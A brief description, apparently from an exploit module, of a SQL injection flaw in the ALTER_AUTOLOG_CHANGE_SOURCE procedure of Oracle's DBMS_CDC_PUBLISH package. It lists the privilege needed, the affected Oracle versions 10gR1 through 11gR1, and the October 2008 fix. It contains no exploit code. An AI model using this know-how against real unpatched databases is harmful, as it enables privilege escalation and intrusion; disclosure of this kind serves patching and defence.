|
|
The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE
|
|
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
|
|
on the vulnerable package can exploit this vulnerability. By default, users granted
|
|
EXECUTE_CATALOG_ROLE have the required privilege.
|
|
Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.
|
|
Fixed with October 2008 CPU.
